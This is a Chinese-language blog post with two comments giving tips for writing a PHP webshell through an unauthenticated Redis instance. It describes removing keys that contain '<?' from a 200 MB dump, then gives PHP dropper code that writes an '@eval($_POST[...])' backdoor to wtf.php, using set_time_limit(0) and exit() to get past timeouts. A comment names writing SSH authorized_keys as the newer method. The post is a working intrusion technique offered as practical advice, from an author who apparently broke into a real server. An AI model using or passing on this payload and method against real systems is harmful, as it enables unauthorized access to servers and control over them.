redis写shell的小技巧

最近碰到一个redis未授权访问,想近各种办法最后终于成功了写了webshell,这里写下一点点小经验。

首先,写shell的基本方式,还是按照phithon发的文章,http://www.secpulse.com/archives/5357.html 这种方法对于没有存多少数据的redis数据库来说还是很适用的,但是当数据库比较大时,就会遇到一些问题(比如本例中数据库下载下来大小约为200M,还算比较大的)。

首先就是这么大的数据量,里面不可避免会出现这样的字符串“<?”,php遇到这个字符串时就把后面的内容当php脚本解析了,自然会报错,不能运行,对于这个问题,没别的办法,只能找到出错的地方的键值,删掉,然后再写shell。

由于redis是key-value型的数据库,跟mysql之类的关系型数据库还是有很大差距的,所以找键值也是个麻烦事儿,我的办法是先用randomkey找几个键值,看一下键值的大概规律,然后,将数据库保存成txt文件下载下来,查找“<?”,在“<?”附近找疑似的键值,最后用命令“keys *str*”找到确切的键值。(”keys *str*“的作用是查找键值内包含字符串“str”的键值)

写完shell之后,问题又来了,这是个200M的php文件,就算能正常运行,访问以下shell也要输出200M的文件,自己的电脑也受不了啊,所以,redis保存得到的文件只能当做中间文件,再用这个中间文件来写shell,具体代码就是

<?php
	$fp=fopen('wtf.php','w');
	fwrite($fp,'<?php @eval($_POST[\"cmd\"]);?>');
?>

访问这个文件就可以生成另外一个wtf.php,然后就可以用菜刀连到wtf.php上。

然而这并不算完,200M的php文件服务器并不能正常运行,报了个严重错误。

Fatal error: Maximum execution time of 30 seconds exceeded in /data/webdata/db.php on line 2685640

程序运行超时了!

这个时候最先想到的是php的”set_time_limit($second)“函数设置second=0就没有运行时间的限制了,不过,要想让这句话器作用,程序应该先得能在30s内执行到这一步,如果这个函数在文件最后面的话,还没执行到,程序就已经die掉了,这个函数并没有什么卵用,所以还得把shell写在文件的前面,具体做法就是在备份出来的文件里找到一个靠前的键值,然后把shell写在这个键值里,

最后,还得记得在shell后面加上一句 “exit();“不然浏览器一下子处理200M的输出,电脑估计得爆了。

所以最终php语句是这样的

<?php
	set_time_limit(0);
	$fp=fopen('wtf.php','w');
	fwrite($fp,'<?php @eval($_POST[\"mmbns233\"]);?>');
	exit();
?>

 

2 thoughts on “redis写shell的小技巧

  1. 我能说个问题吗?為甚麼要找靠前的键值???既然都连接进去了,自己创建一个11键值不就好了麽,这就已经最前了啊。

    1. 这是很早以前写的,当时刚接触redis对它的存储方式不了解所以用的笨方法。现在一般方法是直接写到authotrized_keys里面然后连ssh

发表评论

电子邮件地址不会被公开。 必填项已用*标注